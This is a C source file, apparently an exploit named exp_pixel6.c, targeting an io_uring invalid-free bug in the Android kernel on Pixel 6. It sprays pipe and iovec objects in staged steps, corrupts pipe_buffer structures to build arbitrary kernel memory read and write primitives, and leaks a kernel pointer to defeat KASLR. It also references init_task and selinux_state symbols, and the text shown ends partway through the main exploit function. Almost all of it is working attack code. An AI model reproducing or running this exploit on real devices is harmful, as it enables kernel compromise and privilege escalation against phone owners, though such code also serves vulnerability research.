-
Notifications
You must be signed in to change notification settings - Fork 25
/
Copy pathexp_pixel6.c
1112 lines (984 loc) · 29.1 KB
/
exp_pixel6.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#define _GNU_SOURCE
#undef NDEBUG
#define DEBUG
#include <assert.h>
#include <dirent.h>
#include <endian.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/memfd.h>
#include <pthread.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/timerfd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <sys/socket.h>
#define PATCHED
#define MAX_PIPE_NUM 0x400
#define MAX_256_PIPE 0x400
#define FIRST_PIPE_SPRAY 0x180
#define PIPE_PAGE_NUM 0x600
#define CPU 1
#define CHECK(a, b) \
do { \
if (a != b) \
err(1, "RUN CHECK FAILED in %d, expected %d, received %d", __LINE__, \
(int)b, (int)a); \
} while (0)
int pipes[MAX_PIPE_NUM][2];
int pipe_pages[PIPE_PAGE_NUM][2];
void *global_data;
void *global_buffer;
// some symbols
unsigned long init_task;
unsigned long selinux_state;
unsigned long anon_pipe_buf_ops;
int child_pid;
int signal_pipes[2];
struct pipe_buffer_t {
unsigned long page;
unsigned int offset, len;
unsigned long ops;
unsigned long flag;
unsigned long private;
};
void DumpHex(const void *data, size_t size) {
#ifdef DEBUG
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
if (i % 16 == 0) {
printf("%04lx ", i);
}
printf("%02X ", ((unsigned char *)data)[i]);
if (((unsigned char *)data)[i] >= ' ' &&
((unsigned char *)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char *)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i + 1) % 8 == 0 || i + 1 == size) {
printf(" ");
if ((i + 1) % 16 == 0) {
printf("| %s \n", ascii);
} else if (i + 1 == size) {
ascii[(i + 1) % 16] = '\0';
if ((i + 1) % 16 <= 8) {
printf(" ");
}
for (j = (i + 1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \n", ascii);
}
}
}
#endif
}
void pin_on_cpu(int cpu) {
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(cpu, &cpu_set);
if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) {
perror("sched_setaffinity()");
exit(EXIT_FAILURE);
}
usleep(1000);
}
static void adjust_rlimit() {
// setsid(); // 814292
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = 0x10000;
if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) {
rlim.rlim_cur = rlim.rlim_max = 14096;
if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) {
perror("setrlimit");
err(1, "setrlimit");
}
}
}
static __thread int skip_segv;
static __thread jmp_buf segv_env;
#define NONFAILING(...) \
({ \
int ok = 1; \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} else \
ok = 0; \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
ok; \
})
static void sleep_ms(uint64_t ms) { usleep(ms * 1000); }
static uint64_t current_time_ms(void) {
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void thread_start(void *(*fn)(void *), void *arg) {
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i = 0;
for (; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
typedef struct {
int state;
} event_t;
static void event_init(event_t *ev) { ev->state = 0; }
static void event_reset(event_t *ev) { ev->state = 0; }
static void event_set(event_t *ev) {
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t *ev) {
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t *ev) {
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t *ev, uint64_t timeout) {
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
static bool write_file(const char *file, const char *what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
#define SIZEOF_IO_URING_SQE 64
#define SIZEOF_IO_URING_CQE 16
#define SQ_HEAD_OFFSET 0
#define SQ_TAIL_OFFSET 64
#define SQ_RING_MASK_OFFSET 256
#define SQ_RING_ENTRIES_OFFSET 264
#define SQ_FLAGS_OFFSET 276
#define SQ_DROPPED_OFFSET 272
#define CQ_HEAD_OFFSET 128
#define CQ_TAIL_OFFSET 192
#define CQ_RING_MASK_OFFSET 260
#define CQ_RING_ENTRIES_OFFSET 268
#define CQ_RING_OVERFLOW_OFFSET 284
#define CQ_FLAGS_OFFSET 280
#define CQ_CQES_OFFSET 320
struct io_sqring_offsets {
uint32_t head;
uint32_t tail;
uint32_t ring_mask;
uint32_t ring_entries;
uint32_t flags;
uint32_t dropped;
uint32_t array;
uint32_t resv1;
uint64_t resv2;
};
struct io_cqring_offsets {
uint32_t head;
uint32_t tail;
uint32_t ring_mask;
uint32_t ring_entries;
uint32_t overflow;
uint32_t cqes;
uint64_t resv[2];
};
struct io_uring_params {
uint32_t sq_entries;
uint32_t cq_entries;
uint32_t flags;
uint32_t sq_thread_cpu;
uint32_t sq_thread_idle;
uint32_t features;
uint32_t resv[4];
struct io_sqring_offsets sq_off;
struct io_cqring_offsets cq_off;
};
#define IORING_OFF_SQ_RING 0
#define IORING_OFF_SQES 0x10000000ULL
#define sys_io_uring_setup 425
static long syz_io_uring_setup(volatile long a0, volatile long a1,
volatile long a2, volatile long a3,
volatile long a4, volatile long a5) {
uint32_t entries = (uint32_t)a0;
struct io_uring_params *setup_params = (struct io_uring_params *)a1;
void *vma1 = (void *)a2;
void *vma2 = (void *)a3;
void **ring_ptr_out = (void **)a4;
void **sqes_ptr_out = (void **)a5;
uint32_t fd_io_uring = syscall(sys_io_uring_setup, entries, setup_params);
uint32_t sq_ring_sz =
setup_params->sq_off.array + setup_params->sq_entries * sizeof(uint32_t);
uint32_t cq_ring_sz = setup_params->cq_off.cqes +
setup_params->cq_entries * SIZEOF_IO_URING_CQE;
uint32_t ring_sz = sq_ring_sz > cq_ring_sz ? sq_ring_sz : cq_ring_sz;
*ring_ptr_out = mmap(vma1, ring_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE | MAP_FIXED, fd_io_uring,
IORING_OFF_SQ_RING);
uint32_t sqes_sz = setup_params->sq_entries * SIZEOF_IO_URING_SQE;
*sqes_ptr_out =
mmap(vma2, sqes_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE | MAP_FIXED, fd_io_uring, IORING_OFF_SQES);
return fd_io_uring;
}
static long syz_io_uring_submit(volatile long a0, volatile long a1,
volatile long a2, volatile long a3) {
char *ring_ptr = (char *)a0;
char *sqes_ptr = (char *)a1;
char *sqe = (char *)a2;
uint32_t sqes_index = (uint32_t)a3;
uint32_t sq_ring_entries = *(uint32_t *)(ring_ptr + SQ_RING_ENTRIES_OFFSET);
uint32_t cq_ring_entries = *(uint32_t *)(ring_ptr + CQ_RING_ENTRIES_OFFSET);
uint32_t sq_array_off =
(CQ_CQES_OFFSET + cq_ring_entries * SIZEOF_IO_URING_CQE + 63) & ~63;
if (sq_ring_entries)
sqes_index %= sq_ring_entries;
char *sqe_dest = sqes_ptr + sqes_index * SIZEOF_IO_URING_SQE;
memcpy(sqe_dest, sqe, SIZEOF_IO_URING_SQE);
uint32_t sq_ring_mask = *(uint32_t *)(ring_ptr + SQ_RING_MASK_OFFSET);
uint32_t *sq_tail_ptr = (uint32_t *)(ring_ptr + SQ_TAIL_OFFSET);
uint32_t sq_tail = *sq_tail_ptr & sq_ring_mask;
uint32_t sq_tail_next = *sq_tail_ptr + 1;
uint32_t *sq_array = (uint32_t *)(ring_ptr + sq_array_off);
*(sq_array + sq_tail) = sqes_index;
__atomic_store_n(sq_tail_ptr, sq_tail_next, __ATOMIC_RELEASE);
return 0;
}
static void kill_and_wait(int pid, int *status) {
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
for (int i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR *dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent *ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_test() {
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static int thr2_start = 0;
static int thr1_enter = 0;
static int thr2_execve = 0;
static void *thr_1(void *arg) {
pin_on_cpu(CPU);
struct thread_t *th = (struct thread_t *)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
// execute_call(th->call);
for (int i = 0; i < 11; i++) {
if (i == 5)
continue;
execute_call(i);
}
thr2_start = 1;
while (thr1_enter != 1) {
}
execute_call(9);
thr2_execve = 1;
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void *thr_2(void *arg) {
pin_on_cpu(CPU);
// new cred
// setgid(getgid());
struct thread_t *th = (struct thread_t *)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
// execute_call(th->call);
while (thr2_start != 1) {
}
for (int i = 0; i < 10; i++) {
if (i == 9)
continue;
execute_call(i);
}
thr1_enter = 1;
while (thr2_execve != 1) {
}
execute_call(11);
execute_call(12);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void execute_one(void) {
int i, call, thread;
int collide = 0;
{
struct thread_t *th = &threads[0];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr_1, th);
}
event_reset(&th->done);
// th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
event_timedwait(&th->done, 50);
}
#ifdef PATCHED
setuid(getuid());
#endif
{
struct thread_t *th = &threads[1];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr_2, th);
}
event_reset(&th->done);
// th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
event_timedwait(&th->done, 50);
}
for (i = 0; i < 1000 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
usleep(1000);
}
static void execute_one(void);
void do_trigger() {
pin_on_cpu(CPU);
// setup_test();
execute_one();
}
#define WAIT_FLAGS __WALL
#define OLD_LOOP
#ifdef OLD_LOOP
static void loop(void) {
int iter = 0;
for (; iter < 1; iter++) {
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
#ifdef PATCHED
setuid(getuid());
#endif
printf("in trigger process\n");
do_trigger();
printf("exit...\n");
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5000)
continue;
kill_and_wait(pid, &status);
break;
}
}
}
#else
static void loop(void) {
setup_test();
execute_one();
}
#endif
#ifndef __NR_io_uring_enter
#define __NR_io_uring_enter 426
#endif
uint64_t r[6] = {0xffffffffffffffff, 0xffffffffffffffff, 0x0, 0x0,
0xffffffffffffffff, 0xffffffffffffffff};
int timerfd[0x80] = {};
void execute_call(int call) {
intptr_t res = 0;
switch (call) {
case 2:
NONFAILING(*(uint32_t *)0x20000084 = 0);
NONFAILING(*(uint32_t *)0x20000088 = 1);
NONFAILING(*(uint32_t *)0x2000008c = 0);
NONFAILING(*(uint32_t *)0x20000090 = 0);
NONFAILING(*(uint32_t *)0x20000098 = -1);
NONFAILING(memset((void *)0x2000009c, 0, 12));
res = -1;
NONFAILING(res = syz_io_uring_setup(0x10, 0x20000080,
0x20ee7000, // from 0x12d6 to 0x10
0x206d4000, 0x20000180, 0x200001c0));
if (res != -1) {
r[1] = res;
NONFAILING(r[2] = *(uint64_t *)0x20000180);
NONFAILING(r[3] = *(uint64_t *)0x200001c0);
}
break;
case 3:
res = open("/apex/com.android.runtime/lib64/bionic/libc.so",
O_DIRECT | O_NONBLOCK, 0);
// printf("we got %ld when syscall opening libc\n", res);
assert(res != -1);
if (res != -1)
r[4] = res;
break;
case 4:
NONFAILING(*(uint8_t *)0x20000000 = 1);
NONFAILING(*(uint8_t *)0x20000001 = 0);
NONFAILING(*(uint16_t *)0x20000002 = 0);
NONFAILING(*(uint32_t *)0x20000004 = r[4]);
NONFAILING(*(uint64_t *)0x20000008 = 0);
NONFAILING(*(uint64_t *)0x20000010 = 0x20000500);
NONFAILING(*(uint64_t *)0x20000500 = 0);
NONFAILING(*(uint64_t *)0x20000508 = 0);
NONFAILING(*(uint32_t *)0x20000018 = 1);
NONFAILING(*(uint32_t *)0x2000001c = 0);
NONFAILING(*(uint64_t *)0x20000020 = 0);
NONFAILING(*(uint16_t *)0x20000028 = 0);
NONFAILING(*(uint16_t *)0x2000002a = 0);
NONFAILING(memset((void *)0x2000002c, 0, 20));
NONFAILING(syz_io_uring_submit(r[2], r[3], 0x20000000, 0));
break;
case 5:
// unused io
NONFAILING(*(uint32_t *)0x200002c4 = 0x2b24);
NONFAILING(*(uint32_t *)0x200002c8 = 1); // privilege decision
NONFAILING(*(uint32_t *)0x200002cc = 1);
NONFAILING(*(uint32_t *)0x200002d0 = 0x1f0);
NONFAILING(*(uint32_t *)0x200002d8 = r[4]);
NONFAILING(memset((void *)0x200002dc, 0, 12));
break;
case 6:
NONFAILING(memcpy((void *)0x20000000, "/proc/self/exe\000", 15));
res = syscall(__NR_openat, 0xffffff9c, 0x20000000ul, 0ul, 0ul);
// printf("got res %ld when opening exe\n", res);
assert(res != -1);
if (res != -1)
r[5] = res;
break;
case 7:
// syscall(__NR_open, 0ul, 0x188002ul, 0x10ul);
break;
case 8:
syscall(__NR_mmap, 0x20000000ul, 0x800000ul, 0x1800003ul, 0x12ul, r[5],
0ul);
break;
case 9:
syscall(__NR_io_uring_enter, r[1], 0x2b66, 0, 0ul, 0ul, 0x5eul);
break;
case 10:
// NONFAILING(memcpy((void*)0x20000040, "./bus\000", 6));
// syscall(__NR_execve, 0x20000040ul, 0ul, 0ul);
break;
case 11: // to trigger init req sync
#define IORING_ENTER_GETEVENTS (1U << 0)
// flag = IORING_ENTER_GETEVENTS
// tell parent to do the second allocation
// printf("allocating 256 in parent\n");
kill(getppid(), SIGUSR2);
read(signal_pipes[0], global_buffer + 0x1300, 1);
// printf("enter io uring\n");
syscall(__NR_io_uring_enter, r[1], 0, 1, IORING_ENTER_GETEVENTS, 0ul,
0x5eul);
// tell parents to spray pipe_buffer
// this will crash kernel
kill(getppid(), SIGUSR2);
read(signal_pipes[0], global_buffer + 0x1300, 1);
break;
}
}
void trigger() {
loop();
printf("trigger done\n");
}
void *do_iov_spray(void *idx) {
pin_on_cpu(CPU);
unsigned long pipe_idx = (unsigned long)(idx);
char data[0x100] = {};
struct iovec iovec_array[256 / 16];
assert(sizeof(iovec_array) == 256);
int *sync_pipes = (int *)global_data + 0x100;
for (int i = 0; i < 256 / 16; i++) {
iovec_array[i].iov_len = 1;
iovec_array[i].iov_base =
(void *)((char *)global_buffer + pipe_idx * 16 + i);
}
if (pipe_idx >= MAX_256_PIPE) {
goto spray_256;
}
read(pipes[pipe_idx][0], data, 1);
CHECK(*data, 'S');
write(sync_pipes[1], "E", 1);
// printf("pipe %ld spaied\n", pipe_idx);
// if (pipe_idx == 0) printf("allocating 256 for 0\n");
// printf("pipe idx %ld allocated\n", pipe_idx);
int res = readv(pipes[pipe_idx][0], iovec_array, 256 / 16);
if (res != 256 / 16) {
printf("pipe %ld res is %d\n", pipe_idx, res);
// iov might be corrupted, do that again without iov
res = read(pipes[pipe_idx][0], (char *)global_buffer + pipe_idx * 16,
256 / 16);
printf("second read, res is %d\n", res);
}
write(sync_pipes[1], "E", 1);
spray_256:
// wait for signal
// *data = 0;
// read(pipes[pipe_idx][0], data, 1);
// assert(*data == 'S');
// write(sync_pipes[1], "S", 1);
// // after having the signal, do the spray
// readv(pipes[pipe_idx][0], iovec_array, 256/16);
// // keep sleeping to prevent too many freed pages
// write(sync_pipes[1], "S", 1);
while (1) {
sleep(10000);
}
}
// arm implementation
unsigned long page_address(unsigned long page) {
unsigned long addr = ((page << 6) + 0xffffc008000000ul) | 0xffff000000000000;
// printf("page %lx to addr %lx\n", page, addr);
return addr;
}
unsigned long addr_to_page(unsigned long addr) {
addr = addr & 0xfffffffffffff000ul;
unsigned long page = ((addr - 0xffffc008000000ul) >> 6);
// printf("addr %lx to page %lx\n", addr, page);
return page;
}
unsigned long read64(unsigned long addr) {
if ((addr & 0xfff) + 8 > 0x1000) {
return 0;
}
int *exp_pipes = (int *)global_data;
int pipe_buffer_offset = exp_pipes[4];
// put the page to tmp_page;
read(exp_pipes[2], global_buffer, 0x1000);
memset(global_buffer, 'D', 0x1000);
unsigned long *buf = (unsigned long *)global_buffer;
struct pipe_buffer_t *p_buffer =
(struct pipe_buffer_t *)(&buf[pipe_buffer_offset]);
memcpy(p_buffer, global_data + 0x80, 40);
p_buffer->page = addr_to_page(addr);
p_buffer->len = 9;
p_buffer->offset = addr & 0xfff;
for (int i = 1; i < 4; i++) {
memcpy(p_buffer + i, p_buffer, 40);
}
// overwrite pipe_buffer
write(exp_pipes[3], global_buffer, 0x1000);
// now do the read memory
unsigned long data;
read(exp_pipes[0], &data, 8);
return data;
}
void write64(unsigned long addr, unsigned long data) {
assert((addr & 0xfff) + 8 <= 0x1000);
int *exp_pipes = (int *)global_data;
int pipe_buffer_offset = exp_pipes[4];
// put the page to tmp_page;
read(exp_pipes[2], global_buffer, 0x1000);
memset(global_buffer, 'D', 0x1000);
unsigned long *buf = (unsigned long *)global_buffer;
struct pipe_buffer_t *p_buffer =
(struct pipe_buffer_t *)(&buf[pipe_buffer_offset]);
memcpy(p_buffer, global_data + 0x80, 40);
p_buffer->page = addr_to_page(addr);
p_buffer->len = 0;
p_buffer->offset = addr & 0xfff;
for (int i = 1; i < 4; i++) {
memcpy(p_buffer + i, p_buffer, 40);
}
// overwrite pipe_buffer
write(exp_pipes[3], global_buffer, 0x1000);
// now do the write of memory
write(exp_pipes[1], &data, 8);
}
void read_mem(unsigned long addr, unsigned long *data, unsigned size) {
for (int i=0; i<size/8; i++) {
data[i] = read64(addr+i*8);
}
}
void write_mem(unsigned long addr, unsigned long *data, unsigned size) {
for (int i=0; i<size/8; i++) {
write64(addr+i*8, data[i]);
}
}
void exploit(void) {
int *exp_pipes = (int *)global_data;
char data[0x100] = {};
int *sync_pipes = (int *)global_data + 0x100;
int size = 0;
#ifdef CRASH
sleep(1);
trigger();
printf("exit...\n");
exit(0);
#endif
for (int i = 0; i < MAX_PIPE_NUM; i++) {
if (pipe(pipes[i]) < 0) {
err(1, "pipe");
}
// prefault the page
CHECK(fcntl(pipes[i][1], F_SETPIPE_SZ, 0x1000), 0x1000);
write(pipes[i][1], global_buffer, 1);
CHECK(read(pipes[i][0], global_buffer, 1), 1);
}
// prepare sync pipe
if (pipe(sync_pipes) < 0) {
err(1, "sync pipe");
}
CHECK(fcntl(sync_pipes[1], F_SETPIPE_SZ, 0x1000), 0x1000);
write(sync_pipes[1], global_buffer, 1);
read(sync_pipes[0], global_buffer, 1);
// prepare exp pipe
if (pipe(exp_pipes) < 0) {
err(1, "sync pipe");
}
write(exp_pipes[1], global_buffer, 1);
read(exp_pipes[0], global_buffer, 1);
write(exp_pipes[1], global_buffer, 1);
// a good time to setup context for the second stage
for (int i = 0; i < PIPE_PAGE_NUM; i++) {
if (pipe(pipe_pages[i]) < 0) {
perror("pipe");
exit(0);
}
CHECK(fcntl(pipe_pages[i][1], F_SETPIPE_SZ, 0x1000), 0x1000);
}
for (unsigned long i = 0; i < MAX_PIPE_NUM; i++) {
pthread_t pid;
pthread_create(&pid, NULL, do_iov_spray, (void *)i);
}
printf("preparing...\n");
sleep(1);
printf("[*] STAGE 1: defragmentation\n");
// spray the first part
for (int i = 0; i < FIRST_PIPE_SPRAY; i++) {
usleep(10);
write(pipes[i][1], "S", 1);
}
// sync with the spray
int count = FIRST_PIPE_SPRAY;
while (count) {
usleep(10);
int res = read(sync_pipes[0], global_buffer, count);
count -= res;
}
// printf("first part spray done\n");
printf("[*] STAGE 2: trigger the bug\n");
kill(child_pid, SIGUSR1);
// now spray the second part
read(signal_pipes[0], data, 1);
assert(data[0] == 'S');
// allocate a pipe buffer for this
CHECK(fcntl(exp_pipes[1], F_SETPIPE_SZ, 0x4000), 0x4000);
// fill the slab with other iovs
for (int i = FIRST_PIPE_SPRAY; i < MAX_256_PIPE; i++) {
// usleep(10);
write(pipes[i][1], "S", 1);
}
// sync with the spray
count = MAX_256_PIPE - FIRST_PIPE_SPRAY;
while (count) {
usleep(10);
int res = read(sync_pipes[0], global_buffer + 0x300, count);
// printf("read res : %d\n", res);
count -= res;
}
// let the bug triggered
kill(child_pid, SIGUSR1);
// wait from the child, now the invalid free happened, before the exit of task
read(signal_pipes[0], data, 1);
assert(data[0] == 'S');
// no action here.
// now let child exit
kill(child_pid, SIGUSR1);
// wait the child to exit
read(signal_pipes[0], data, 1);
assert(data[0] == 'S');
// sleep for a while making sure the memory is freed
usleep(1000 * 1000);
printf("[*] STAGE 3: free the cache\n");
// now free the iov
for (int i = MAX_256_PIPE - 1; i >= 0; i--) {
usleep(10);
write(pipes[i][1], global_buffer + 0x200, 256 / 16);
}
// sync with the free
count = MAX_256_PIPE;
while (count) {
usleep(10);
int res = read(sync_pipes[0], global_buffer + 0x300, count);
// printf("read res : %d\n", res);
count -= res;
}
#if 0
printf("let's crash the kernel\n");
// getchar();
ioctl(exp_pipes[1], FIONREAD, &size);
printf("FIONREAD pipe 1 is %d\n", size);
sleep(1);
fcntl(exp_pipes[1], F_SETPIPE_SZ, 0x8000);
getchar();
#endif
printf("[*] STAGE 4: reclaim the page\n");
memset(global_buffer, 'A', 0x1000);
for (int i = 0; i < PIPE_PAGE_NUM; i++) {
write(pipe_pages[i][1], global_buffer, 0x1000);
}
// now check pipe_buffer
ioctl(exp_pipes[1], FIONREAD, &size);
printf("FIONREAD pipe 1 is %x\n", size);
if (size != 0x41414141) {
printf("failed, please retry\n");
getchar();
}
// rewrite pipe buffer
write(exp_pipes[1], "KCTF", 0x4);
// now check the pipe pages
unsigned long *recv_buffer =
(unsigned long *)((char *)global_buffer + 0x1000);
unsigned long *pipe_buffer = 0;
int res = 0, exp_pipe_idx = -1;
for (int i = 0; i < PIPE_PAGE_NUM; i++) {
res = read(pipe_pages[i][0], recv_buffer, 0x1000);
if (res != 0x1000) {
err(1, "pipe %d read error\n", i);
}
for (int j = 0; j < (0x1000 / 8); j++) {
if (recv_buffer[j] != 0x4141414141414141) {
pipe_buffer = recv_buffer + j;
DumpHex(pipe_buffer, 0x30);
memcpy(global_data + 0x80, pipe_buffer, 40);
exp_pipe_idx = i;
exp_pipes[2] = pipe_pages[i][0];
exp_pipes[3] = pipe_pages[i][1];
exp_pipes[4] = j - 5; // pipe_buffer should move forward
break;
}
}
if (pipe_buffer != 0)
break;
}
if (exp_pipe_idx == -1) {
printf("failed, please retry\n");
getchar();
}
write_file("/proc/self/comm", "expp");
// pixel 6
// ffffffdc0bfcbec0 init_task
// ffffffdc0b93d968 anon_pipe_buf_ops
// general offset ranges 0x684398 - 0x68d458
write(exp_pipes[3], recv_buffer, 0x1000);
printf("leaked pipe page at %lx\n", pipe_buffer[0]);
printf("leaked ops at %lx\n", pipe_buffer[2]);
unsigned long kaslr_offset = pipe_buffer[2] - anon_pipe_buf_ops;
init_task += kaslr_offset;
